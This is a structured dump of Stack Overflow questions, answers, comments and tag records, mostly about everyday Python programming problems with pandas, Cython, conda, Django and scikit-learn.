10: Kane 44 Abraham 30 Diouf 28 Lacazette 25 Lukaku 25 Morata 24 Murray 22 Rashford 21 Jesus 20 Niasse 20 For some reason the Midfielder bit isn't printing correctly (only printing 7 out of 10 players). However, when running from the file from a terminal it prints completely fine, as seen below: Goalkeepers top 10: de Gea 33 Ryan 23 Schmeichel 23 Lössl 22 Ederson 22 Pope 22 Forster 21 Mignolet 21 Hart 20 Courtois 19 Defenders top 10: Monreal 32 Jones 32 Azpilicueta 30 Trippier 29 Kolasinac 28 Otamendi 27 Fuchs 24 Bellerín 23 Ward 23 Valencia 23 Midfielders top 10: Sané 53 Sterling 38 De Bruyne 31 Ramsey 30 Coutinho 28 Richarlison 28 Mahrez 27 Fernandinho 27 Eriksen 27 Dav…
has comment: http://stackoverflow.com/comment/80987815
has comment: http://stackoverflow.com/comment/80987973
type: Question
has comment: http://stackoverflow.com/comment/80987531
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80988054
has comment: http://stackoverflow.com/comment/80987895
has title: Sublime Text 3 not printing correctly
tagged with: python
has comment: http://stackoverflow.com/comment/80988957
tagged with: sublimetext3
has comment: http://stackoverflow.com/comment/80987731
tagged with: python-2.7
score: 0
has comment: http://stackoverflow.com/comment/80988156
has comment: http://stackoverflow.com/comment/80987768

http://stackoverflow.com/comment/81032967
type: QuestionComment
has text: Is [this](https://stackoverflow.com/questions/8373079/numpy-function-to-set-elements-of-array-to-a-value-given-a-list-of-indices) essentially what you want?
comment on: http://stackoverflow.com/q/47042936
score: 0
type: Comment

http://stackoverflow.com/a/47047927
answers question: http://stackoverflow.com/q/47047694
has body: If you review the documentation for DateTime they show an example similar to this.
score: 0
type: Answer

http://stackoverflow.com/comment/81190478
has text: @BillyJhon See my edited answer, that is how your scrapinghub.yml file should look like
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47053870

bdd
tag name: bdd
type: Tag
tags question: http://stackoverflow.com/q/47063953

http://stackoverflow.com/a/46923660
has body: Remove words = ["noun", "verb", "adjective", "place"]. You are accepting [shiny, broom, jump, sky] as the words parameter of the attack() function and immediately overriding that value by assigning ["noun", "verb", "adjective", "place"] to a variable of the same name. Additionally, the elements of your [shiny, broom, jump, sky] list is missing quotation marks, unless those are meant to be variables and not strings. Your code should read: def attack(words): print("Use your", words[2], words[0], "and", words[1], "towards the", words[3] + "!") attack(["shiny", "broom", "jump", "sky"])
has comment: http://stackoverflow.com/comment/80794416
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/80794468
answers question: http://stackoverflow.com/q/46923633
type: Answer

http://stackoverflow.com/a/46943450
type: Answer
has body: I found the answer. I had to change the writerows to writerow and change the open file method from 'ab' to 'a'
answers question: http://stackoverflow.com/q/46943337
type: AcceptedAnswer
downvote count: 0
upvote count: 1
score: 1
accepted answer of: http://stackoverflow.com/q/46943337

http://stackoverflow.com/comment/80777314
has text: "# Assuming that SaveCode = 'Test' in your second script, look up the corresponding function # and call it"
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46914807

http://stackoverflow.com/comment/80836375
has text: Yes, this works perfectly. I found the row #s I was looking for. Thanks!
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46944371
score: 0

oauth-2.0
type: Tag
tag name: oauth-2.0
tags question: http://stackoverflow.com/q/47025007

http://stackoverflow.com/q/47054339
has body: I am building / compiling a Cython project: setup.caller.py from distutils.core import setup from distutils.extension import Extension from Cython.Distutils import build_ext from Cython.Build import cythonize setup( name = 'test app', cmdclass = {'build_ext': build_ext}, ext_modules = cythonize([ Extension( 'caller', ['caller.pyx', 'foo.cpp'], language='c++', extra_compile_args=['-std=c++11'], library_dirs=['/usr/lib/bar'], libraries=['libbar'], include_dirs=['/usr/include/baz'] ) ]) ) But when I build / compile I get an error: $ python setup.caller.py build_ext --inplace ... /usr/bin/ld: cannot find -llibbar collect2: error: ld returned 1 exit status error: command 'x86_64-linux-gnu-g++' failed with exit status 1 I checked, and "libbar.so" is in "/usr/lib/bar". I am compiling on Linux Mint.
answer count: 1
downvote count: 0
tagged with: cython
has answer: http://stackoverflow.com/a/47054779
favorite count: 0
type: Question
upvote count: 2
accepted answer: http://stackoverflow.com/a/47054779
tagged with: python
has title: Cannot find library file when compiling with Cython
tagged with: c++
score: 2
type: AnsweredQuestion

http://stackoverflow.com/comment/80774877
type: QuestionComment
comment on: http://stackoverflow.com/q/46913137
score: 0
has text: Can you please help me on above code? How to save multiple graphs in a directory with unique file name
type: Comment

http://stackoverflow.com/a/47038557
type: Answer
score: 2
has body: You can set secrets in environment variables and get them in python code as password = os.getenv('ENVNAME').
accepted answer of: http://stackoverflow.com/q/47038309
upvote count: 2
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47038309

http://stackoverflow.com/comment/81117290
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47043730
has text: @sascha I created my virtualenv using `conda create --name myEnv python=3.6`, maybe this is why it doesnt include numpy+MKL?

http://stackoverflow.com/comment/80770509
has text: The code you've posted looks ok. Double check that you've deployed the code above and restarted your server.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46909053
type: Comment

machine-learning
type: Tag
tags question: http://stackoverflow.com/q/46988572
tags question: http://stackoverflow.com/q/47049853
tags question: http://stackoverflow.com/q/46977313
tags question: http://stackoverflow.com/q/46911972
tags question: http://stackoverflow.com/q/47048530
tags question: http://stackoverflow.com/q/46971969
tags question: http://stackoverflow.com/q/46973799
tags question: http://stackoverflow.com/q/46999321
tags question: http://stackoverflow.com/q/46963171
tags question: http://stackoverflow.com/q/46966991
tags question: http://stackoverflow.com/q/46995209
tags question: http://stackoverflow.com/q/47004783
tags question: http://stackoverflow.com/q/46943314
tags question: http://stackoverflow.com/q/46964786
tags question: http://stackoverflow.com/q/47034692
tags question: http://stackoverflow.com/q/46998711
tags question: http://stackoverflow.com/q/46947498
tags question: http://stackoverflow.com/q/46988080
tags question: http://stackoverflow.com/q/46918706
tags question: http://stackoverflow.com/q/47059390
tags question: http://stackoverflow.com/q/46924600
tags question: http://stackoverflow.com/q/47006642
tags question: http://stackoverflow.com/q/46911596
tags question: http://stackoverflow.com/q/46966514
tags question: http://stackoverflow.com/q/46910206
tags question: http://stackoverflow.com/q/46990511
tags question: http://stackoverflow.com/q/46978126
tags question: http://stackoverflow.com/q/47027711
tags question: http://stackoverflow.com/q/47022674
tags question: http://stackoverflow.com/q/46917658
tags question: http://stackoverflow.com/q/46998182
tags question: http://stackoverflow.com/q/46970039
tags question: http://stackoverflow.com/q/46973411
tags question: http://stackoverflow.com/q/46966787
tags question: http://stackoverflow.com/q/47062970
tags question: http://stackoverflow.com/q/46916446
tags question: http://stackoverflow.com/q/47021118
tags question: http://stackoverflow.com/q/47030286
tags question: http://stackoverflow.com/q/47060984
tags question: http://stackoverflow.com/q/46964563
tags question: http://stackoverflow.com/q/46990022
tag name: machine-learning
tags question: http://stackoverflow.com/q/47039915
tags question: http://stackoverflow.com/q/47064178
tags question: http://stackoverflow.com/q/47036409
tags question: http://stackoverflow.com/q/47021022
tags question: http://stackoverflow.com/q/46983871
tags question: http://stackoverflow.com/q/47005969
tags question: http://stackoverflow.com/q/47056814
tags question: http://stackoverflow.com/q/46987557
tags question: http://stackoverflow.com/q/46917491
tags question: http://stackoverflow.com/q/46990350
tags question: http://stackoverflow.com/q/46948133
tags question: http://stackoverflow.com/q/47047881
tags question: http://stackoverflow.com/q/47046677
tags question: http://stackoverflow.com/q/47047057
tags question: http://stackoverflow.com/q/46987762
tags question: http://stackoverflow.com/q/47025267
tags question: http://stackoverflow.com/q/46915944

http://stackoverflow.com/q/46985316
answer count: 1
has answer: http://stackoverflow.com/a/46985566
type: Question
type: UnansweredQuestion
tagged with: dataframe
tagged with: python
has title: select only nan column from dataframe
score: 0
has body: movie_rating_T.iloc[:,5:6] critic Toby title Just My Luck NaN Lady in the Water NaN Snakes on a Plane 4.5 Superman Returns 4.0 The Night Listener NaN You Me and Dupree 1.0 let say I want to select the Nan column only Just My Luck Lady in the Water The Night Listener How to use dataframe nan to extract only nan value? critic Toby title Just My Luck NaN Lady in the Water NaN The Night Listener NaN .['title'] is not working =============================================================== movie_rating_T.iloc[:,5:6] critic Toby title Just My Luck NaN Lady in the Water NaN Snakes on a Plane 4.5 Superman Returns 4.0 The Night Listener NaN You Me and Dupree 1.0 df_MovieRatingT[df_MovieRatingT['Toby'].isnull()] critic Toby title Just My Luck NaN Lady in the Water NaN The Night Listener NaN ============================================================== df = DataFrame(ratings) critic title rating 0 Jack Matthews Lady in the Water 3.0 1 Jack Matthews Snakes on a Plane 4.0 2 Jack Matthews You Me and Dupree 3.5 3 Jack Matthews Superman Returns 5.0 I want to make it critic Claudia Puig Gene Seymour Jack Matthews Lisa Rose Mick LaSalle Toby title Just My Luck 3.0 1.5 NaN 3.0 2.0 NaN Lady in the Water NaN 3.0 3.0 2.5 3.0 NaN Snakes on a Plane 3.5 3.5 4.0 3.5 4.0 4.5 Superman Returns 4.0 5.0 5.0 3.5 3.0 4.0 The Night Listener 4.5 3.0 3.0 3.0 3.0 NaN You Me and Dupree 2.5 3.5 3.5 2.5 2.0 1.0 and I used movie_rating= ratings.pivot(index='critic', columns='title',values='rating') but it created the title and critic at the same column. how to fix it?

http://stackoverflow.com/q/46918301
has answer: http://stackoverflow.com/a/46919657
possible better answer: http://stackoverflow.com/a/46919657
has comment: http://stackoverflow.com/comment/80787749
has comment: http://stackoverflow.com/comment/80787882
has comment: http://stackoverflow.com/comment/80786893
accepted answer: http://stackoverflow.com/a/46920295
tagged with: python
has comment: http://stackoverflow.com/comment/80787649
has comment: http://stackoverflow.com/comment/80787836
has body: I've seen different softwares using compiled programs as a "module"; an example would be wifite which uses the aircrack suite. Similarly, I need to implement tshark inside my python program but without having to work my way through the source code (mainly because I'd want the software to be modular and to leave tshark as a simple dependency). What's the best way to do so? I'd avoid a simple call to the program as I don't feel it is very pythonic.
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80788029
has comment: http://stackoverflow.com/comment/80788011
tagged with: tshark
has comment: http://stackoverflow.com/comment/80787938
has answer: http://stackoverflow.com/a/46920295
has title: Use a compiled program as input inside my python software
type: Question
has comment: http://stackoverflow.com/comment/80787936
answer count: 2
has comment: http://stackoverflow.com/comment/80787772

http://stackoverflow.com/comment/80863762
type: QuestionComment
score: 0
has text: @AndreaCorbellini I have tried using `sys.argv` but since I'm seeing very mixed opinions of using it in a unittest I'm wondering if there isn't a better solution.
comment on: http://stackoverflow.com/q/46957063
type: Comment

http://stackoverflow.com/comment/80955456
has text: Unfortunately not it either. The gray you see in my picture is actually the "whitesmoke" border. The large white extra div space still exists even if I add `min_border_bottom`.
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/47004033

http://stackoverflow.com/q/47020377
has comment: http://stackoverflow.com/comment/80987532
tagged with: iterator
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80988934
has title: Dynamically add properties to iterator in Python 2
tagged with: python
has comment: http://stackoverflow.com/comment/80988076
has comment: http://stackoverflow.com/comment/80987620
score: 2
has comment: http://stackoverflow.com/comment/80988159
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/80987884
answer count: 1
downvote count: 0
has body: I'm trying to add to an iterator, some custom properties like: iterator = iter([1, 2, 3, 4, 5, 6, 7, 8, 9, 0]) iterator.__custom_property__ = 'random value' But all I get is this error that says that the iterator attribute are read only: Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; AttributeError: 'listiterator' object has no attribute '__custom_property__' This question is linked to this other one: Get length of a (non infinite) iterator inside it&#39;s loop using Python 2.7. What I thought is this: If I can somehow add some custom data into the iterator object that the itertools.imap returns to me, I could access to those information inside any loop that loops over the iterator. But, apparently, those data cannot be stored. At least using this workflow. Does anyone know how to "hack" into an iterator object (specifically a listiterator) and define some custom attributes or methods? Thanks! INFO: I thought that, because of the argument of this question, could be worth asking in another thread instead of mixing the information in the other one.
linked to: http://stackoverflow.com/q/47015942
has comment: http://stackoverflow.com/comment/80987453
has answer: http://stackoverflow.com/a/47020451
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80987988
has comment: http://stackoverflow.com/comment/80987533

http://stackoverflow.com/a/47055844
type: Answer
score: 0
has body: The self argument is always passed as the first argument to the method. So, both calls you made will be changed to something like this: paramsTest.argumentParams(paramTest, "before", "test", "some arg", "another arg") paramsTest.dictionaryparams(paramTest, "test" ,"some arg", "another arg", test="some" , bert = "henk") Now, paramTest will be the captured inside the argumentParams *arguments, but, it will be matched with paramone in dictionaryParams.
answers question: http://stackoverflow.com/q/47055689

http://stackoverflow.com/comment/80779208
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46915815
score: 0
has text: On a Slack channel for python developers a ways back. I just checked the Fedex Documentation though, https://images.fedex.com/templates/components/apps/wpor/secure/downloads/pdf/201507/FedEx_WebServices__DevelopersGuide_v2015.pdf, and it definitely says the format should be "YYYY-MM-DD". Pg. 204. I also included the logged error to the bottom of the question.

http://stackoverflow.com/q/46943389
has body: I have been toying with python sklearn k nearest neighbours classifier and I believe it does not work right - results with k above 1 are wrong. I've tried to visualise how different k-nn methods vary with my sample code. Code is a bit long but not very complicated. Go ahead and run it yourself to get the pictures. I generate sample 2D data in form of columns of around 10 points. Most of the code is about plotting it nicely on the graph in animated fashion. All classification happens after calling constructing library object KNeighborsClassifier in "main" in for loop. I tried different methods of algorithm suspecting it's kd-trees issue, but I got the same results (swap algorithm="kdtree" for "brute" or ball trees) Here is the illustration of results I got: result of classifier with k=3 and uniform weights, kdtrees Picture comment: As you can see in the 3rd column around x=2 all area around red points should be red for example, and around x=-4 the area should be blue, because next nearest red points are in neighbour column. I believe it's not how the classifier should behave and I'm not sure whether I'm not doing something right or it's the library methods error. I've tried to review it's code but decided to ask the question in the mean time. Also I'm not familiar with C-Python it's written in. Sources and version: I made the code using scikit-learn documentation, and mathplotlib examples. I run python 3.6.1 and version 0.18.1 of sklearn. Bonus question: Is k-neighbours answer using kd-trees approximate or definite? From my understanding it can easily work perfectly for k=1 but you I'm not sure if the answer is always correct with k above 1. import numpy as np import matplotlib.pyplot as plt from matplotlib.colors import ListedColormap from sklearn import neighbors import random random.seed(905) # 905 # interesting seed 2293 def generate_points(sizex, sizey): # sizex = 4 # sizey = 10 apart = 5 # generating at which X coordinate my data column will be columns_x = [ran…
answer count: 1
downvote count: 0
upvote count: 1
tagged with: scikit-learn
favorite count: 0
type: Question
has title: Did I just find a bug in sklearn KNN classifier or does everything work as intended?
score: 1
has comment: http://stackoverflow.com/comment/80848573
has comment: http://stackoverflow.com/comment/80834389
tagged with: python
tagged with: kdtree
tagged with: knn
has answer: http://stackoverflow.com/a/46943532
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46943532

http://stackoverflow.com/comment/80963257
comment on: http://stackoverflow.com/q/47008295
score: 0
has text: Show us your minimal code example
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46929256
tagged with: python
accepted answer: http://stackoverflow.com/a/46929323
has body: suppose that I have a series of amounts (let think to moneys to make it more intertesting) and I want to split those amounts among people (franco, franchino and gianmarco). import pandas as pd import numpy as np moneys = pd.Series({'a':1, 'b':3, 'c':10, 'd':9, 'e':7}) percentages = pd.DataFrame({'franco':[0.1],'franchino':[0.5],'gianmarco':[0.4]}) In this case, I want to obtain a matrix 5x3 as follows: Is there a function similar to pd.multiply or .dot that does the work?
tagged with: series
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46929323
score: 0
tagged with: pandas
tagged with: dataframe
has title: Multiplying a series and a dataframe
possible better answer: http://stackoverflow.com/a/46929512
tagged with: matrix-multiplication
type: Question
has answer: http://stackoverflow.com/a/46929512
answer count: 2

http://stackoverflow.com/q/46961472
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80871254
tagged with: tcp
accepted answer: http://stackoverflow.com/a/46962690
has body: I have two TCP socket server in python, each with some (about 4) clients. I want the two server to be able to talk to each other so both can send commands to each other and communicate. Is this possible? And if yes, how?
type: Question
has comment: http://stackoverflow.com/comment/80870732
has comment: http://stackoverflow.com/comment/80873110
tagged with: sockets
has title: Communicate between two socket server
answer count: 1
has comment: http://stackoverflow.com/comment/80871318
has answer: http://stackoverflow.com/a/46962690
tagged with: python
has comment: http://stackoverflow.com/comment/80871393
tagged with: p2p

http://stackoverflow.com/a/46992651
answers question: http://stackoverflow.com/q/46992491
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has body: Like this (may be): &gt;&gt;&gt; channel = ['101 BBC One S East', '102 BBC Two', '103 ITV', '104 Channel 4', '105 Channel 5', '106 Sky One', '107 Sky Living', '108 Sky Atlantic', '401 Sky Sports 1 UK', '402 SKY Sports 2 UK', '403 Sky Sports 3 UK', '404 Sky Sports 4 UK', '405 Sky Sports 5 UK', '406 Sky Sports News HQ', '407 Sky Sports F1', '408 Sky Sports 1 HD', '409 Sky Sports 2 HD', '410 Sky Sports 3 HD', '411 Sky Sports 4 HD', '412 Sky Sports 5 HD', '413 Eurosport 1 UK', '414 Eurosport 2 UK', '415 BT Sport 1', '416 BT Sport 2', '417 At the Races', '418 BT Sport ESPN', '419 MUTV', '420 Chelsea TV', '421 Eir Sport 1', '422 Eir Sport 2'] &gt;&gt;&gt; to_find = ['421 Eir Sport 1', '422 Eir Sport 2'] &gt;&gt;&gt; target_index = self.channel.index(to_find[0]) &gt;&gt;&gt; result = channel[target_index-5:target_index] + to_find &gt;&gt;&gt; result ['416 BT Sport 2', '417 At the Races', '418 BT Sport ESPN', '419 MUTV', '420 Chelsea TV','421 Eir Sport 1', '422 Eir Sport 2']
accepted answer of: http://stackoverflow.com/q/46992491
type: Answer

floating-point
tags question: http://stackoverflow.com/q/47027753
tags question: http://stackoverflow.com/q/47033626
type: Tag
tags question: http://stackoverflow.com/q/46922248
tags question: http://stackoverflow.com/q/46919654
tag name: floating-point
tags question: http://stackoverflow.com/q/46996068

http://stackoverflow.com/comment/80838936
comment on: http://stackoverflow.com/q/46945892
has text: you need to return something, otherwise you get a "None" (Add a return statement)
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/comment/80977435
type: QuestionComment
comment on: http://stackoverflow.com/q/47015428
has text: it doesn't from outside too.
score: 0
type: Comment

http://stackoverflow.com/q/46929791
tagged with: python
favorite count: 0
tagged with: conda
has answer: http://stackoverflow.com/a/57214272
type: AnsweredQuestion
tagged with: anaconda
accepted answer: http://stackoverflow.com/a/46934105
answer count: 4
has answer: http://stackoverflow.com/a/46933153
possible better answer: http://stackoverflow.com/a/46933153
type: Question
upvote count: 37
has title: Activating conda environment with its full path
tagged with: python-3.x
score: 37
has answer: http://stackoverflow.com/a/46932750
downvote count: 0
has body: Usually, we activate a conda environment with the command: source activate env_name Is it possible to activate conda environment with its full path? For example: source (fullpath)/bin/activate When I do this it activates the default environment of anaconda i.e the root environment.
has answer: http://stackoverflow.com/a/46934105

http://stackoverflow.com/q/47004375
tagged with: python
has answer: http://stackoverflow.com/a/47004468
type: AnsweredQuestion
score: 0
has title: Delete rows in scipy matrix from list
tagged with: matrix
answer count: 1
tagged with: scipy
type: Question
accepted answer: http://stackoverflow.com/a/47004468
has body: I have a list of integers called cluster0Rand corresponding to certain index's in a scipy sparse matrix called data. I want to create a new scipy matrix consisting of only the row's which's index is in the list? For example, data = csr_matrix([[1, 2, 0], [0, 0, 3], [4, 0, 5]]) cluster0Rand = [0,1] The desired output would be: csr_matrix([[1, 2, 0], [0, 0, 3]]) How can I do this efficently given that the real list is made up of thousands of indexs and the scipy matrix is (10000, 100000)

http://stackoverflow.com/q/46916428
downvote count: 0
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/46917018
answer count: 1
tagged with: mysql
accepted answer: http://stackoverflow.com/a/46917018
tagged with: django
favorite count: 0
type: Question
tagged with: foreign-keys
tagged with: django-views
has title: Django query: Getting data over two relations
tagged with: python
type: AnsweredQuestion
has body: I already googled much and read this site https://docs.djangoproject.com/en/1.11/topics/db/queries/ several times but I still have problems to get the right data. I extended the standard Django-User-Model with a MAC-Adress because I will need it later. I also have a relationship between the models like this: One "Django-Standard-User" has ONE UserProfile ONE "UserProfile" has MANY CalData from django.contrib.auth.models import User class UserProfile(models.Model): user = models.OneToOneField(User) mac = models.CharField(max_length=17, default='00:00:00:00:00:00') def __str__(self): return self.user.username class CalData(models.Model): user = models.ForeignKey(UserProfile) date = models.DateField(default="1970-01-01") timestamp = models.TimeField(default="00:00:00") entry_id= models.CharField(max_length=100, default="NoID") Now from the view, after the User has logged in, i want to make a query like this: "give me a Query (not Objects) of Caldata where user = "the username of the Standard-Django-User" and where Date = Today. The second Question is: Is it better to set the ForeignKey of Caldata to "UserProfile" like I did or is it better to set it to "User" (standard Django-Model). My Goal is to say: One User has one unique MAC-Adress and many CalData.

http://stackoverflow.com/q/47028601
has answer: http://stackoverflow.com/a/47028816
has comment: http://stackoverflow.com/comment/81004293
has answer: http://stackoverflow.com/a/47028698
score: 2
has comment: http://stackoverflow.com/comment/81004332
has answer: http://stackoverflow.com/a/47028757
has title: how to remove 0's in a datacolumn in a dataframe in python
has comment: http://stackoverflow.com/comment/81004294
has answer: http://stackoverflow.com/a/47028804
tagged with: pandas
upvote count: 2
type: UnansweredQuestion
downvote count: 0
linked to: http://stackoverflow.com/q/47016779
favorite count: 0
type: Question
has body: I have a df, dff=pd.DataFrame({"Name":["sri","kumar","raj"],"values":[1,0,0]}) Name values sri 1 kumar 0 raj 0 I am trying to replace 0 with spaces " " I tried, dff["values"].astype(str).replace(0," ") but still the values are same my desired df, Name values sri 1 kumar " " raj " "
has comment: http://stackoverflow.com/comment/81004287
tagged with: data-analysis
answer count: 5
has comment: http://stackoverflow.com/comment/81004230
has answer: http://stackoverflow.com/a/47028664
tagged with: dataframe
tagged with: python

http://stackoverflow.com/comment/80804481
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46928863
has text: I didn't need to. Can you try running the code?

http://stackoverflow.com/a/47035408
type: Answer
has comment: http://stackoverflow.com/comment/81023527
has comment: http://stackoverflow.com/comment/81021990
has comment: http://stackoverflow.com/comment/81021769
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81021627
has body: I have few python scripts where I also faced the same problem and I have modified the path like below which fixed my problem. path = "C:/Users/ze/ga.csv"
answers question: http://stackoverflow.com/q/47034894

http://stackoverflow.com/comment/80838898
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/46945724
has text: It sounds like you are trying to access a property called `column_num` on `row`, where `row` is a `datetime` object. Python's `datetime` class has no property called `column_num`.
type: Comment

http://stackoverflow.com/comment/80976330
comment on: http://stackoverflow.com/q/47014617
has text: also "I did not make this way work" is not a proper bug description!
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80788345
has text: If you have a different question, e.g. about cumulative sum, post it as a new question.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/46919473
type: QuestionComment

http://stackoverflow.com/q/46946445
has comment: http://stackoverflow.com/comment/80840091
tagged with: pandas
score: 1
accepted answer: http://stackoverflow.com/a/46946505
has title: Filtering a pandas dataframe properly
has body: I am trying to filter a pandas dataframe using a function and am running into SettingWithCopyWarning warning. I was wondering if there was a better way of doing this. Below is a general outline of my code: def cleanData(data): out = data.query("data.x &lt; 100") out.z = out.z == "Z" return out data = cleanData(data) I would like to be able to keep it in this function form, as I want to run the function on both my train and test data. Thanks :)
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/46946469
tagged with: functional-programming
has answer: http://stackoverflow.com/a/46946469
downvote count: 0
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/46946505
favorite count: 0
type: AnsweredQuestion

http://stackoverflow.com/comment/80875943
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46963995
has text: @stybl I expect it to print the answer, but it just skips to the command line prompt in the IDLE shell.

http://stackoverflow.com/a/47064054
has body: I think the regex you looking for is: ^(?:[01][0-9]?[0-9]?|2[0-4][0-9]|25[0-5])(?:\.0{1,3}){3}$ You can test it here
answers question: http://stackoverflow.com/q/47062663
type: Answer
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/comment/80996136
comment on: http://stackoverflow.com/q/47024366
has text: It looks like you are saving the exact same image 1000 times, or why would `it.islice(f, n)` be different for different loop cycles?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47047588
favorite count: 0
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/47047703
upvote count: 2
possible better answer: http://stackoverflow.com/a/47047811
accepted answer: http://stackoverflow.com/a/47047633
tagged with: range
tagged with: python
answer count: 4
has answer: http://stackoverflow.com/a/47047720
score: 2
type: AnsweredQuestion
tagged with: list
has body: Given x = [5, 30, 58, 72] y = [8, 35, 53, 60, 66, 67, 68, 73] The goal is to iterate through x_i and find the value for y that's larger than x_i but not larger than x_i+1 Assume that both list are sorted and all items are unique, the desired output given the x and y is: [(5, 8), (30, 35), (58, 60), (72, 73)] I've tried: def per_window(sequence, n=1): """ From http://stackoverflow.com/q/42220614/610569 &gt;&gt;&gt; list(per_window([1,2,3,4], n=2)) [(1, 2), (2, 3), (3, 4)] &gt;&gt;&gt; list(per_window([1,2,3,4], n=3)) [(1, 2, 3), (2, 3, 4)] """ start, stop = 0, n seq = list(sequence) while stop &lt;= len(seq): yield tuple(seq[start:stop]) start += 1 stop += 1 x = [5, 30, 58, 72] y = [8, 35, 53, 60, 66, 67, 68, 73] r = [] for xi, xiplus1 in per_window(x, 2): for j, yj in enumerate(y): if yj &gt; xi and yj &lt; xiplus1: r.append((xi, yj)) break # For the last x value. # For the last x value. for j, yj in enumerate(y): if yj &gt; xiplus1: r.append((xiplus1, yj)) break But is there a simpler way to achieve the same with numpy, pandas or something else?
tagged with: pandas
has title: Given 2 list of integers how to find the non-overlapping ranges?
downvote count: 0
has answer: http://stackoverflow.com/a/47047811
has comment: http://stackoverflow.com/comment/81042558
has answer: http://stackoverflow.com/a/47047633
has comment: http://stackoverflow.com/comment/81042541

http://stackoverflow.com/a/47074020
upvote count: 2
has comment: http://stackoverflow.com/comment/88403845
downvote count: 0
score: 2
answers question: http://stackoverflow.com/q/47036719
type: Answer
has body: Please follow and use the below code in the Qweb Template View Let assume that o is your purchase order and I will try to break the page when my purchase order line having more than 10 records. &lt;tr t-foreach="o.order_line" t-as="line"&gt; &lt;t t-if="line_index+1 == 10"&gt; &lt;p style="page-break-after:always;"/&gt; &lt;/t&gt; &lt;/tr&gt; Attributes : => o : purchase order object => order_line : is the purchase order line => _index : its special attribute in the qweb template which is help to count the interaction record inside line object. I hope my answer may helpful for you :)

http://stackoverflow.com/comment/81031773
comment on: http://stackoverflow.com/q/47042251
has text: Your `Comment` model has no `ForeignKey` to `Blog`. Why would a `Blog` instance have a `comment_set`?
type: Comment
type: QuestionComment
score: 2

http://stackoverflow.com/a/46962265
downvote count: 0
score: 5
upvote count: 5
type: Answer
accepted answer of: http://stackoverflow.com/q/46958127
has body: To compute the distance "along the way", you must first obtain the distance of each step. This can be obtained, component-wise, by the indexing dx = x[1:]-x[:-1]. The distance per step is then "square root of dx**2+dy**2" Note that the length of this array is less by one as there is one less interval with respect to the number of steps. This can be completed by assigning the distance "0" to the the first time data. This is the role of the "concatenate" line below. There is no numerical integration here, but a cumulative sum. To perform numerical integration, you would need equations of motion (for instance). Extra change: I use np.loadtxt with the unpack=True argument to save a few lines. import numpy as np import matplotlib.pyplot as plt x, y, t = np.loadtxt("info.txt", unpack=True) dx = x[1:]-x[:-1] dy = y[1:]-y[:-1] step_size = np.sqrt(dx**2+dy**2) cumulative_distance = np.concatenate(([0], np.cumsum(step_size))) plt.plot(t, cumulative_distance) plt.show()
answers question: http://stackoverflow.com/q/46958127
type: AcceptedAnswer

http://stackoverflow.com/a/46945691
has body: if you are able to find SP, for calling you can use following code Please give more formation that you want code only for storing result in csv?? from mysql.connector import MySQLConnection, Error from python_mysql_dbconfig import read_db_config def call_find_by_isbn(): try: db_config = read_db_config() conn = MySQLConnection(**db_config) cursor = conn.cursor() args = ['1236400967773', 0] result_args = cursor.callproc('AccessionsBycauseOfAffliction_year', args) print(result_args[1]) except Error as e: print(e) finally: cursor.close() conn.close() if __name__ == '__main__': call_find_by_isbn()
score: 1
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80839937
type: Answer
has comment: http://stackoverflow.com/comment/80840401
answers question: http://stackoverflow.com/q/46945584
has comment: http://stackoverflow.com/comment/80840632

http://stackoverflow.com/q/46916726
type: Question
tagged with: winapi
tagged with: pywin32
answer count: 1
accepted answer: http://stackoverflow.com/a/47264647
has body: win32 API QueryServiceConfig2 function supports the SERVICE_CONFIG_TRIGGER_INFO structure to get event(s) that trigger the service startup. However, python's win32service.QueryServiceConfig2() does not list such value as a parameter option. Is it possible to get that information with the win32service module?
tagged with: python
score: 1
has answer: http://stackoverflow.com/a/47264647
type: AnsweredQuestion
downvote count: 0
tagged with: triggers
upvote count: 1
favorite count: 0
tagged with: startup
has title: python win32service - Getting triggered startup information for service

http://stackoverflow.com/q/46920027
tagged with: sql
